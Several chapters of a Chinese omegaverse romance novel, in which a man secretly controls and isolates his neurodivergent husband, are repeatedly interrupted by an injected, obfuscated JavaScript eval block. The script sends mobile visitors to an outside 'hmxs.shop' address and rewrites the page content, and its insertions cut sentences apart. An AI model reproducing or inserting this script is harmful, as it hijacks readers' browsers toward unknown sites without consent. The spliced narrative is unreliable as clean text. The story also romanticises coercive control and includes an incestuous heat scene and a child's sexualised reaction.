她比应重明大七岁,弟弟出生时都已经上小学了。可从应重明会说话开始,在父母面前争宠从来都争不过他。 年幼时是弱小可怜需要人疼的乖宝宝,长大些又是成绩优异人缘好的阳光开朗大男孩,他总能把每个时期的优势发挥到最大,变成他要挟人心的手段。 应惊蛰不知道他为什么生来就是这副又争又抢的性格,明明从没有人亏待过他。但在这个世界上,除了她这个天生的“竞争对手”,恐怕连亲生父母都不太了解他真实的性格底色。 至于庄兆—— 纯纯是个被爱情蒙蔽了双眼的小傻瓜啊。 她心底发出沉重的叹息,又一想,也说不准。 就算庄兆有一天能看清楚他是个什么货色,未必就不爱了。 爱本来就是不讲道理的,跟人优不优秀,心眼子多不多并不相关。讲究个愿打愿挨,问心无愧。唯心而已。 两人还这么年轻,就冲动地领证结了婚…… 但愿以后别出什么岔子才好。 ** 从医院里回来,庄兆已经完全搞懂了应重明难过的重点。 他认为应重明是从小事事优秀,太过于完美主义,才会无法接受这小小的缺憾。事实上,这点缺憾对他们的生活不会造成任何影响,他从来也没有要求过应重明承担生育的重任。 就像他,三岁就被诊断为出神经发育障碍,也从没觉得自己比正常人更低一等。非要说的话,他认为这是成为天才的代价。 而且他在自己的专业里很受尊重,同学和老师并没有戴上有色眼镜看他。应重明也是一样,不会因为变成了一个无法生育的Omega,就失去从前取得的成就。 或许是因为上辈子已经深受其苦,现在又一次面临同样的打击,被牵连触发了心理创伤。庄兆想,这种时候本来应该约见心理医生,寻求帮助。但应重明的情况非常特殊,也不愿意再和除了他以外的人倾诉。 早在进化发生的第一天,应重明就对他说,“宝宝,除了你,没有人会这样毫不犹豫地相信我。” 那时他就答应了,要一起守护好重生的秘密。 他相信应重明是很坚强的人,只是还需要一点振作的时间。 而他身为伴侣,责任感时时在召唤。庄兆连夜查询了“丈夫情绪低落该如何安慰”等相关词条,甚至远隔万里线上咨询了好友Taylor。对方表示即将上飞机,等回国后可以见面详谈。 她费了很大劲才订到回家的班机,激动得泪洒机场。庄兆决定,还是不要打扰朋友的开心时刻,并在深思熟虑后,接受了见面的提议。 “你居然答应了?!” 六个小时后谭乐盈才看到他的消息,难以置信,“我们认识这么多年,还是第一次有机会在学校以外的地方见到你诶,非常期待!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599658|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她和庄兆是同级同专业的学生,同为中国留学生,读预科时就认识了,但仅仅是脸熟,印象一直停留在“那个拒绝交际专注学习的冰山美人Carl”。本科才搭上话,又读了快三年才知道他的中文名字。 人人都知道他和应重明是一对,除了上课就是回去陪男朋友,被家里那位管得很严。只有他自己不觉得。 其实不止谭乐盈,庄兆从没在学校以外的地方见过任何朋友。他没有社交需求,类似的任务都交给应重明代为处理,可以联系的好友列表都是被应重明筛选过的。 这次网上搜不到可靠的办法,素未蒙面的网友对他们的情况也并不了解,他才罕见地需要求助于朋友。 “我们在哪里见呢。” 谭乐盈兴致勃勃地跟他商量,“你在海市对不对?正好这次假期我的朋友也都回国了,大家商量去哪里旅游呢。不如就去海市,顺便还能找你玩!到时候我们详细聊聊,我好给你出主意。” “好的。”庄兆本来也不想离开家很远。“我单独见你可以吗?” “哈哈哈可以!我朋友们都很随意的,出来旅游大家也是各自玩。” 谭乐盈开心道,“太好啦,感觉你终于肯把我当朋友,还有点感动。我会给你带礼物的!” 庄兆不明白她怎么会这样想。他一直都有把这女孩当朋友,“好的,我也会带礼物给你。” 他说,“祝你假期愉快。” “谢谢!已经在愉快了!” 通完电话,庄兆下意识地想发消息给应重明,问他和朋友见面应该带什么样的礼物。他在这方面的经验为零。 他不会向应重明隐瞒要和朋友见面的事,只是得把见面的目的藏一藏。如果从朋友那里获得了好主意,他或许还能制造点惊喜。 庄兆自认为是个很懂得浪漫的人。 “你想见她?”应重明果然提出疑问,“可是Taylor的家离我们很远,不如回到学校以后再见面好吗?” “她说过几天,要和别的朋友来我们这里旅游。”庄兆说,“到时候我们就可以见面。” 应重明顿了顿,“好吧,我陪你去。” “不用,我可以自己去。”他说,“但我不知道该给她带什么礼物。” ——要自己去见她。 ——还要给她带礼物。 这两句话让应重明停顿了更久,让他想到几天前,庄兆甚至希望能把她带上一起回家的飞机。 是什么时候起,两个人的关系已经有这么亲密? 他竟然没有注意到。 “宝宝,很想去见她吗?” “嗯。”庄兆看不到电话另一头的神情,只是一味地烦恼着,“带什么礼物比较好呢?” “……” “你不知道女孩们喜欢什么东西。”应重明温柔道,“还是让我来帮你挑吧。” 9.第 9 章 庄兆的想法又略有不同。 这并不是像圣诞节贺卡那样,大家互相交换的礼物,要更私人一些。他希望参考应重明的建议亲自挑选。 最起码也要参与,而不是直接甩手交给另一个人去办。 “我明白了。”应重明意味不明地轻笑,“没想到你这么重视她。” 重视朋友是应该的。庄兆不觉得这有什么问题。 他相信自己只是不太需要社交,而非真的人缘很差。当他需要社交时,他也能做得很好。 应重明一直就是这样对他讲的。 在等待朋友来出谋划策之前,庄兆还是保持正常作息,早睡早起,每天学习八小时。 国内的环境要好很多,但也时不时会有暴动。听应重明说,这是因为分化后,每一个Alpha和Omega都有各自不同的发情周期。 众所周知,没有人会一直发情,但永远都会有人正在发情。特别是在人口基数这么大的国家里。 Omega发情还不那么有破坏性,而Alpha就不一样了,内心欲望被信息素放大,攻击性倍增。街上的随机伤人和性侵犯罪率都显著攀升。 应重明来找他时都戴着口罩,衣服穿得很厚,肩膀上还贴了厚厚的胶带,用物理方式起到些许阻隔效果,聊胜于无。 由于每天视觉和听觉上接收到的信息都十分严峻,庄兆受到影响,也开始认为当下处于非常时期,确实不适合外出会见朋友。 于是他把外面很危险的情况告诉了谭乐盈,并且劝她暂时不要出门。 谭乐盈确实听说了有伤人事件的发生,但远远不像他说的那么严重。毕竟国内治安比外面好太多了,哪怕现在发情的Alpha在街上游荡,也没有她留学公寓楼下的homeless来的恐怖。 “我为你挑选了礼物。给我一个地址,我邮寄给你。”庄兆说,“我想我们还是先不要见面比较好。” 她感到很可惜,但也尊重朋友的意愿,“好吧,那我们就在线上聊天吧。” “其实我已经为你想到了一个主意,但是现在听来……或许很难实施。”谭乐盈说,“我从没见过你和Felix约会的样子。你们从来不在家以外的地方约会吗?” 庄兆一怔,“好像是这样的。” 除了第一次发生关系的那场毕业旅行——那勉强也算是约会吗?他不太确定。 发生关系后他们很快就结婚了,几乎算是跳过了恋爱阶段。在他看来,除了称呼的改变和每周三晚睡在一起,婚后的生活跟从前没有什么区别。只活动在学校,宿舍和家里。 “那我觉得你们可以尝试一下。”她说,“虽然我不知道他情绪低落的原因,但没有人会拒绝在美妙的环境下来一场约会。” “家里的环境对你们来说太熟悉了,去新鲜的场景约会,才能刺激大脑分泌多巴胺。就像公园,咖啡馆,游乐场,还有动物园一类的地方。多接触自然环境也对缓解情绪很有好处。” 庄兆认真思索,觉得朋友的建议很有道理,表达感谢后结束了通话。 没有出门约会过,完全是因为他不喜欢公共场合。因为他不喜欢,应重明连提都没有提过,以至于他到现在才发现。他居然对另一半有如此明显的亏欠。 懊悔的心情不亚于养狗八年才知道狗需要遛。 他准备去找应重明好好聊一聊这件事。虽然现在形势严峻,还不能出门,但是形势总会好的,他们可以提前规划回学校后的约会,选择相对人比较少的地点。他也并不是完全做不到。 没有想到在出门之前,他先被父母叫住,进行了一场漫长的谈话。 这天庄兆最终没有出门。 夜幕降临,应重明来找他时,他还把自己关在房间里。 “宝宝,”应重明轻轻敲门,“饿不饿?晚上也要吃一点东西。” 所幸庄兆没有生气到连他也不想见的程度,承诺过后还是把门打开了。搬来救兵的父母远远看着,才松了口气。 屋子里光线昏暗,连书桌上的台灯也没有开。只有穹顶星空灯开着,银河流转。庄兆穿着睡衣,绷着一张脸生硬道,“我已经睡觉了。” 应重明脱掉外套,衬衫和T恤,裸露的肩膀上只剩几道交错的浅粉色痕迹。 他就这样光着半身厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604389|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脸皮钻进庄兆被子里,把人拢到身前,无赖道,“那我也要睡觉。” “……” “我已经闭上眼睛了。”应重明说,“现在是睡前谈心的环节。可以告诉我发生什么事吗?” 怪只怪当初宣誓要绝对坦诚,不可欺瞒。 庄兆不情不愿地回答,“他们说想再给我生一个妹妹。” “嗯,你不喜欢妹妹?”应重明抚摸他的脸颊,“让我摸摸,是不是有一点生气?” 庄兆鼓起脸颊,语气依然很差,“不知道!又不是我生,为什么要问我。” 如果他真的不在意,就不会是这种态度。 正是因为在生气,又不知道自己为什么会有这样的情绪,他才会害怕想逃避。 “你可以不开心。”应重明温柔道,“可以生气,甚至可以讨厌他们,这些都是很正常的情绪,发脾气也没关系。你不喜欢妹妹吗?” 庄兆不语,额头抵在他胸膛上用力地呼吸。片刻后,才闷声道,“生小孩会死人吗。” “……” 应重明了然,“你是因为担心妈妈才生气的。” 他们一起在学校的生理课拓展环节看过孕妇分娩的视频。那节课有超过一半的人都感到生理不适,庄兆更是像看了场恐怖片,连做了一个星期的噩梦。 “别怕,现在医疗这么发达,发生事故的概率非常小。”应重明安抚道,“他们都是大人,有权利做自己的决定。况且我们不也是这样诞生的吗?我家里还留着你刚出生时的照片呢,有点皱皱的,非常非常可爱。” 庄兆自己也看过那张照片。根本就不可爱。 “我不喜欢小孩。”庄兆说。“他们希望我说喜欢对不对?可是我不喜欢。” 或许是觉得这表达还不够强烈,他抬起头,瞪着黑白分明的眼睛重申,“我讨厌小孩!” “……” 应重明忽然问,“如果是我们的小孩呢?” 充满柔软幻想的语调温情四溢。他的声音让庄兆恍惚,一时之间甚至无法理解话语中的内容。 “一个像你,又像我的小孩。你会喜欢他吗?” 10.第 10 章 正是这样非常甜蜜的语气,使得庄兆心底泛起了陌生的酸楚。 因为应重明是不能生小孩的Omega。谈论小孩时的语气,就像在憧憬永远也得不到的玩具。 “我肚子饿了。”庄兆说。 这是很明显的回避信号。应重明没有强迫他回答,从善如流道,“那我们下楼吃一点宵夜?今天阿姨包了小馄饨。” 在国内做的普通检查无法得出确切结果,一切要等回到学校,去实验室才能找到答案。应重明也只是试探。 他只是有一点焦虑。 谭乐盈是他精心筛选后留下来的,可以作为庄兆的朋友存在的人。她性格直爽没有坏心眼,性取向也安全,最重要的是懂得分寸,有边界感。 只有这样的朋友,才能在维持良好关系的同时,又不跟庄兆过分亲密。 过去的几年里,两人交际的尺度都在他的把控之中,不远不近。 他不明白,庄兆怎么会想要跟她见面? 锅内的水已经煮开。应重明下入馄饨,往蘸碟里倒了两滴辣椒油,又从直饮口接了一碗冷水。 庄兆吃馄饨,和饺子是一个吃法,煮熟后过冷水,浇醋和一点点辣椒油上去拌匀。全家只有他这样吃。 在等待宵夜时,他又想起下午父母通知他要生二胎,打断了他出门去找应重明的计划。 于是他把取消和谭乐盈见面的决定说了出来。 应重明有条不紊地把馄饨捞进凉水,神情却是肉眼可见的舒展了,“好可惜。” 灌输多日的“外面很危险”的信号卓见成效。 “不可惜,回学校也会见面。”庄兆迫不及待地伸手,“我可以自己端吗?” “可以。” 应重明小心叮嘱,“有一点烫。” 他点点头,双手碰着那只大碗,专注地看着脚下,从厨房端到餐桌。 他的平衡能力非常差,小时候走路经常同手同脚,还会在发现自己“走错了”的时候僵在原地,因为不知道该先出哪只脚而把自己绊倒。 是阿姨先发现的,他吃饭喝水永远都洒出来,拿东西走到半路就会掉,所以才建议他父母带他去医院检查。 确诊之后,家里的阿姨出于同情,也为了收拾起来更省事,就不再让他独自吃饭,更不会让他端着食物走来走去。 庄兆六岁还在被人喂饭。自己心里也有点难过,但又不知道为什么有这种情绪。 因为没出过家门,在拥有第一个朋友之前,他都不知道,这其实并不是正常小孩该有的待遇。 是应重明来到他家里,对他说,“你应该学会自己吃饭。” 他跟应重明坐在同一张餐桌上,看着对方熟练地使用餐具,吃完晚饭后自己把碗筷拿进厨房冲洗,又倒上满满一杯果汁端回来喝,并且一滴都没有洒在地上—— 他才终于明白,那种隐隐约约的不安,实际名为羞愧。 好在应重明看穿他的缺陷,却并没有嘲笑或歧视他。 从那天起,餐桌上就只有他们两个人。他不用担心在应重明面前出丑,可以自在地一次次熟悉,直到掌握动作。 直到他也可以独立完整地,干净地吃完一顿饭。 应重明看着他放下碗,日常鼓励,“好棒。” 庄兆有一点脸红。 他二十岁了,还在因为没有把一碗馄饨端洒而受到表扬。且还像六七岁时一样受用。 “要吃柚子吗?帮你剥一瓣。” “我要吃两瓣!”得到表扬令人食欲大开。 应重明笑着说好。 他们两个平常都不太爱吃水果。但得知庄兆不会出门去单独跟朋友见面,他心情过分愉快,手上就会想找点事情做。 “等回到学校以后,我们去约会吧。”庄兆突然对他说。“像别的情侣那样。你知道他们通常去什么样的地方约会吗?我们也可以去,或者去你想去的地方。” 应重明一怔,“怎么忽然想到这个?” “是Taylor给我提的建议,我觉得很好。”他说,“新鲜的约会体验可以刺激大脑分泌令人快乐的神经递质,这样你就不会为变成Omega的事情烦恼了。” “……好啊。”应重明顿了顿,“其实我也没有很烦恼,不需要太担心我。” 庄兆摇摇头,“要担心的。” “可以给我讲一讲你以前流浪时的故事吗?”他关心应重明的过去。“你从很小的时候就一个人生活吗,有没有大人给你钱?肚子饿了怎么办呢?” 应重明弯起眼睛,觉得他不谙世事的口吻非常可爱,“我会帮饭店擦桌子,打扫地板。有时候能拿到一点钱,有时候是拿剩菜交换。” “你要吃别人吃剩的东西?” 庄兆艰难接受,“那你挣到的钱够不够买衣服?冬天需要穿厚衣服。你会冷的。” “有时候能从回收箱里翻出一两件厚外套,洗干净就像新的一样。”应重明解释,“而且我尽量会找有暖气的地方打工,打烊后找机会睡在店里。这样就不会太冷了。” 他尽量说得很轻松。庄兆嘴巴撇了一下,手里的勺子滑进碗里,又舀起来,“你的父母凭什么不要你。” 世界上不该有这样的父母,这样苛待自己的孩子。 “因为养大我没有任何价值。”应重明自然道,“他们也很穷,大概是受不起拖累吧。” 从下一代人开始,大部分婴儿出生时就能根据身体器官判断出性征。“分化”实际上指的是性成熟,就像女性的月经初潮。是腺体发育完全,可以产生信息素求偶的节点。 他十三岁时才正式分化成Omega,但出生就已经被检查出生殖腔体畸形,且无法修复,只能把整套生殖系统全部摘除。 做完手术他会失去生育功能,对Omega而言和报废没有区别。况且做手术要一大笔钱,本就贫困的家庭当然不愿承担。 被赶出家门时大概也是六七岁?他记不太清楚了。 “后来我遇到一家台球厅,那里的老板也是个Omega,看我可怜把我招进去当球童。就是陪客人打球的工作。” 应重明道,“我台球打得很好呢,很多回头客会点我。在那里我挣到不少钱。” 庄兆听下来,终于能松一口气,执着地追问,“那你买厚衣服了吗?” “……” 因为他怕冷。 庄兆很关心这一点。 “好像没有买,我穿的是店长留下的旧衣服。”应重明仔细回忆。“因为我的钱要拿去做手术。” 畸形的器官在他身体里作恶。寒冷或饥饿,都比不上十年如一日绵延不绝的疼痛。 他找的是不合法的地下医院,原本想把腺体和生殖腔一同摘除的。但到了才知道,腺体摘除后会导致激素紊乱,需要终生吃药调节,那又是一笔开销。只得做罢。 “Omega的抑制剂卖得最贵,所以我通常会买临期的。”他缓缓说着庄兆一辈子都用不上的省钱小妙招。“一次发情期需要十支左右,用的时候我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611843|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每支都剩下一点,然后收集起来,凑一凑又够两支的量。所以我通常只买八支。” “因为抑制剂价格昂贵,我身边的Omega朋友几乎都很早就会结婚,一个接着一个地生孩子,或者打掉孩子。是生还是打,他们都听Alpha的,或者说,他们没办法做任何决定了。信息素影响了大脑,他们整个思维方式都被改变,所有事都会主动听从Alpha的安排。” “……” 如果不是听他说,庄兆根本想象不到这种活法,“那,那你呢?” “我一直在台球厅工作,没有和任何人交往过哦。”他着重强调后半句。 “只要招待好来打球的客人,让他们玩得开心就好了。偶尔碰到脾气差的客人会稍微棘手一点,但我都能应付。在那里赚钱很轻松的。” 庄兆相信他一定把工作做得很好。 应重明是与人打交道的大师,再难应付的教授都会夸赞他品学兼优。 尤其是对待他,应重明有着任何人都无法比拟的恐怖耐心。 计划要出国留学时,是应重明一遍遍帮他纠正走路的姿势,纠正他跟人说话时躲闪的眼神。仅仅和新同学打招呼这样简单的动作,应重明就陪他模拟过成千上万次。提醒他呼吸,眨眼,控制肢体语言,不要在别人面前咬手指。 是应重明让他看起来像个正常的人。让他知道,自己并不是濒危物种,要依靠密不透风的呵护才能存活。他才有了勇气和能力,走进更辽阔的世界。 而即便是已经把他变得和常人差不多,应重明也没有忽略过任何一件小事。不让他拿太烫或太重的东西,给他倒的水不会超过杯子的一半容量。 “我会给你买最新鲜生产的Omega抑制剂。买很多很多支,你想用多少都可以。” 庄兆认真地说,“我爱你。不用你生小孩,也爱你。” 应重明露出满足的表情,把果盘推到他手边。剥好的果肉被分成小块,晶莹剔透的玫瑰红,像柚子分裂的心脏。 “我好开心。”应重明叹息,“和你在一起的人生真幸福啊,宝宝。” 庄兆认真的表情跟平时差不多。准确地说,他的任何表情之间的差别都不会太大。 一张漠视全世界的冷脸。 应重明五岁时在儿童医院里第一次见到他,一眼就爱上。 他应该是刚做完检查,身前站着他的父母,焦急地跟医生讨论病情。他自己没有任何动作,直直地坐在旁边的椅子上,盯着走廊尽头的绿植。 无意之间,庄兆的视线扫过他身上,没有任何起伏变化。看他和看绿植的眼神一模一样。 应重明很确定那一眼让他达到了某种精神高/潮。 在潮湿阴冷的十五年人生里,他讨厌所有人,讨厌人们眼中表达出的所有情绪。无论是憎恶,垂涎,还是怜悯,爱慕,全部都散发出人类的臭味。 但他喜欢庄兆看过来的眼神。那种干干净净的,不透露任何个人情绪的目光,像从遥远的世界里俯瞰人间,像神明降临在了一具幼小的身体上。没有对世人的爱,只有凌厉冷漠的审视。 他并不需要庄兆爱他。 庄兆的情绪管理障碍,在他看来就像是神明不习惯人类的身体,所以不懂得如何使用,需要一点帮助。 他当然乐意效劳。 他讨厌看到别人伺候庄兆。他想要庄兆一直一直地依赖他生存,只依赖他。 就像神明的存在,永远都依托于奉献香火的信徒。而他是唯一的信徒。 11.第 11 章 两周后重制版居民证邮寄到家里,庄兆正式拥有了Beta这个新身份。 这算是个小小的人生节点,他打电话给应重明分享。对面的环境听起来有点嘈杂。 应重明一只手举着针筒,另一只手举着手机保持通话,语气温和而平稳,“只是姐姐的发情期到了。” 应惊蛰被独属于Alpha的信息素热潮冲昏了头脑,感觉比分化时还要严重,本能地循着可以缓解不适的源头,神志不清地往主卧里闯,“妈妈……你好香啊。” 应家的Beta爸爸拉不住分化后力大无穷的Alpha女儿,在那边崩溃地大叫:“住手!那是妈妈,是你妈妈啊!” “……” 一阵叮铃咣啷的动静过去,场面得到了控制。应重明淡定地对着手机解释,“没事了,我给了她一针镇定剂。” 庄兆听了一场徒手制服Alpha的全程直播,隔着电话感到心悸。 幸好他家里父母的信息素适配度很高,没有什么搞出伦理问题的风险。只是夫妻俩希望再拥有一个孩子的想法,他理解不了,但也无权阻挡,只能接受。 护照和学生卡同时都被更新,他终于能回去继续读研。学校也即将复课,不知道会是什么景象。庄兆在家里已经待烦了,拿到新证件之后就立刻定了返校的机票。 应重明想要返校的心情同样迫切,只是不可告人的心思与他迥异。 两个人像来时一样手拉手上了飞机。大部分乘客都还戴着口罩,试图稍微隔绝信息素的影响。庄兆觉得自己的鼻子灵敏了一些,如果认真嗅闻,他也能分辨出大多数人的新性征。 分化过后,每一种性征的信息素各自趋于稳定,也就会更有标志性。Alpha闻起来有很冲鼻子的味道,叫人汗毛都要竖起来。Omega则是香甜柔软的,令人放松,不自觉地想要亲近。 庄兆悄悄低头,耸动鼻子,试图找出Beta的信息素的特点。擅长归纳总结的大脑努力运转了一路,还是没能得出答案。 他没有“Beta味儿”。但有一点是很明显的,他沾着应重明的味道。 从前应重明身上总会有好闻的古龙水味,清淡且时常更换。现在全部被他的信息素味道覆盖掉了,变成一杯行走的薄荷奶绿。 在国内在这段时间庄兆几乎每天和他在一起,还陪伴他度过了一次发情期,甚至在他的要求下,用整齐的门牙硌破他的腺体。 庄兆也没想到,覆盖在腺体表面的皮肤如此娇嫩脆弱。薄薄的一层,即使他没有Alpha的犬牙,也可以轻易让应重明流血。 他发现了,应重明有点喜欢那种疼痛。 同一个人信息素的味道也不是时时相同。应重明有时候茶味重,发涩发苦,有时候薄荷味重,清冽得直冲脑门,总体是又冲又甜的味道。好矛盾。 如果他是个陌生人,闻到这样的信息素,应该也很难立刻断定应重明是Omega。 但Omega这个标志已经写在应重明更新后的身份证上。回到学校以后,肯定还会有很多人吃惊的。 庄兆想,这不就等于还要重新认识一遍老师同学,还得重新做自我介绍么? 已经开始焦虑了。 他一边想,鼻子也没有罢工,鼻翼不停地翕动。应重明发现他在偷偷嗅闻自己,浑身发热。 庄兆总是会做一些引诱而不自知的事。应重明有时候都会怀疑他是在故意钓鱼。等鱼儿咬住了钩,他又会一脸无辜地说只是路过试试这里的水凉不凉,深不深。 “先回家,还是回宿舍?”应重明问。 庄兆说,“我要回宿舍。” 临时回家没有带很多行李。应重明推着一只箱子,他也推了一个,依然手牵手地走进宿舍大楼的电梯。 电梯里已经站了一个男生,背了一只很大的双肩包,看起来也是刚刚返校。见到有人进来,他绅士地按住电梯,并且认出两人,爽快地笑了笑,“好久不见啊。” 电梯爬升,应重明也礼节性地跟他说了几句话。 他住在庄兆楼下,很快就先出去了。庄兆问,“他是谁?” “Kevin赵,赵晋阳。是你同专业的学生。”应重明回答。“你们在迎新晚会上见过一面,他和你打过招呼的。” 庄兆的同学他都认识,比自己身边的那些记得还要熟。 “他是Alpha吧。”庄兆不记得这个人,但是不妨碍他展示自己刚刚掌握的技能,“我闻到他身上有很呛的烟草味。” 而且他对应重明的信息素没有明显的反应,显得很有礼貌。 返校这一路上见过好多Alpha,盯着应重明的眼神都是直勾勾的,叫人反感。庄兆已经感受到Omega的生存环境之恶劣,进一步认为小赵同学人还不错。 宿舍房间已经月余没有人住过。放下行李,应重明开始着手整理床铺,庄兆坐在桌子上看教务处刚刚发布的学生新规。 由于信息素抑制药物还在研发当中,学校所在区规定严禁Alpha和Omega亲密接触,除非能证明是情侣关系,双方清醒自愿,否则将会被拘留并接受财务处罚。 学校里额外多了一条,被发现不违反规则的学生还会被扣学分,严重者给予退学处分,留学生遣返回国。 因为暂时还没研究出有效手段控制意外发生,只能先一刀切来确保学生的安全。应重明打趣,“这下我们出门约会,就不会有人来抢座位了。” “你想去哪里约会呢?”庄兆抓住时机问。 “都好。”他说,“不过我们刚复课可能会比较忙,要赶一赶这个学期落下的进度。绩点重要,约会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618081|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用着急。” 常年稳坐专业第一的庄兆同学点头给予肯定。 他从来没有因为自己总是第一名而心生懈怠。为了维护天才的名誉,每一张成绩单他都要拿到完美! 所谓的伴侣就是要志同道合。 两人不在同一个学院,应重明在实验室搞什么勾当他是不清楚的。他默认应重明是在认真学习搞科研。 况且他还有自己的挑战项目。 开学三天,庄兆觉得跟他打招呼的人变多了,多了很多。还不仅限于“你的新性征是什么”的新鲜好奇——这种程度的社交他在家里跟应重明模拟练习过了,基本可以应付。 但第一天已经打过招呼的人,第二天第三天还会再跟他搭话。他的社交与库里没有那么大的词汇量,支撑太频繁的对话。 应重明说他这种时候可以做自己,不想讲话的时候就不讲,这样打扰他学习让他烦恼的人就会自动退却。以往都是很灵的,可不知为什么,今时今日忽然失去了作用。 焦虑发作时眼睛还会乱瞟,为了控制会垂着眼,不直视别人。但因为长了一张相对欧美人而言偏稚气的东方美人的脸孔,大多数时候他回避视线都会被当成是在害羞。 “嗨Carl,一起去图书馆吗?” 甚至有人堵住他,“我们还没有一起自习过呢。等会儿学习结束,可以去喝一杯好好聊聊天。” 庄兆闻到他身上传来浓郁的汽油味,好奇怪的Alpha信息素气味。让他胃里翻涌,有点犯晕。 他准备给应重明打电话了。就在这时,赵晋阳出现在他身边,对着来搭讪的人客客气气地说,“对不住啊兄弟,我们已经有约在先了。” 庄兆冷眼看着人被他打发走,才说,“我没有跟你约过。” “我知道啊,”赵晋阳无奈道,“我只是想帮你解围。” 庄兆短短地啊了一声,细想好像是这样,于是对他点点头,“谢谢你。” “不客气。” 赵晋阳觉得他一板一眼的真有意思,像个小机器人,热心道,“你男朋友不来接你吗?要回宿舍还是图书馆,要不我陪你一起走吧。你是Beta,现在这个时期很容易被搭讪的。” 在国外,约会是一种释放情感的社交刚需。不一定是抱着交往的念头,只要稍微有点好感,就可以先暧昧起来。 Alpha和Omega当然是最容易看对眼的组合,但一个弄不好就要被绑定成正式关系,会让追求浪漫与自由的约会变得很沉重。 本来就只是用来解闷的活动,谁也不想玩个暧昧就要扣学分交罚款。这种情况下,约会Beta反而成了更好的打算。 庄兆恍然。 因为Alpha和Omega被限制接触…… Beta变得更受欢迎了。 12.第 12 章 庄兆原本想自己回宿舍。因为今天应重明还有课没上完,他们晚饭时候才会见面。 但是宿舍的距离比图书馆远三倍,路上还不知道会有有多少奇怪的人再出现。今天早上甚至有人来敲他的房门,他都还没来得及跟应重明告状。 犹豫片刻,他问,“你也去图书馆吗?” “对啊,一起嘛。”赵晋扬随和道。 如果是谭乐盈相邀,他或许已经答应了。但面对不熟悉的人,庄兆表现得更谨慎,“稍等,我要打电话问一下我老公。” “……” 赵晋扬眼神变了变,显然是觉得有些夸张,“顺路一起去自习而已,不至于连这个也要得到他的允许吧。你完全可以自己做决定。” “我不擅长和人相处。所以,跟人打交道的事我都会征求他的意见。” 庄兆不认为依赖自己的伴侣有什么问题。但不巧的是,应重明没有接他的电话,应该还在实验室里。 “我很好相处的啊。”赵晋扬朝他笑,“放心,只是图书馆而已,绝对不会把你拐带到什么奇怪的地方去。再说你是Beta,跟我在一起还是很安全的。” “……好吧。”他只好快速地编辑了一条消息,告诉应重明等一下到哪个图书馆找他。 赵晋扬也确实是个很好的学习搭子,安静,专注,有认真在学。除了中途去买水时问他要不要喝饮料,全程都没有打扰他。 但他却还是认为自己被吵到了,吹毛求疵地察觉到对面的人呼吸的节奏不对。 或者说,跟应重明的呼吸节奏不一样。 他提前收拾起文具。赵晋扬掀眼瞧他,手上的笔还没有停,“要走了吗?” 庄兆点点头,“我去一下洗手间。” “哦?那正好,我跟你一起去。”他合上笔盖。见庄兆有些愣怔,压低声音用母语调侃,“怎么啦,旁边有人尿不出来?” “……” 很普通的玩笑话,在青春期男孩之间不算什么。可惜的是庄兆并没有经历过那种青春期,感觉有点冒犯,因此没理他,扭头走了。 看起来十分的冷傲。 赵晋扬笑起来,三步并作两步追上他,“好吧好吧,那我不跟你挨着。” “实在不行,等你出来我再去?诶,可你应该不会等我的吧。别不理我啊,现在又没在学习,跟我说句话呗。” 庄兆不想跟这个只见过两三面的人讨论谁先尿尿的问题,连带着先前的好印象都消减了一半。 说者无意。他本来在外面上厕所没有障碍的,这天却真的等了好久才尿出来。 尤其是赵晋扬洗完手,还提高声音,“我在外面等你哦,庄兆同学。” “……” 心情更差了。 庄兆完事还绷着一张脸,默默地提好裤子,整理衣摆褶皱,并用洗手液洗了两遍手。他做这些事有自己固定的顺序,如果被打断,甚至还会把衣摆抽出来再整理一次,重新洗手。 整个流程比较费时间,应重明也经常要等他。不过是站在旁边,一边等一边笑眯眯地盯着他看。 洗到第二遍手,庄兆犹豫了一下,转身望向最里侧的隔间。 好大的一股茉莉花香味。 进来就隐隐约约能闻到。但在他逗留的这几分钟里,花香味变得越来浓郁,是一种浓郁到有些粘腻的甜味。 是Omega的信息素会有的味道。 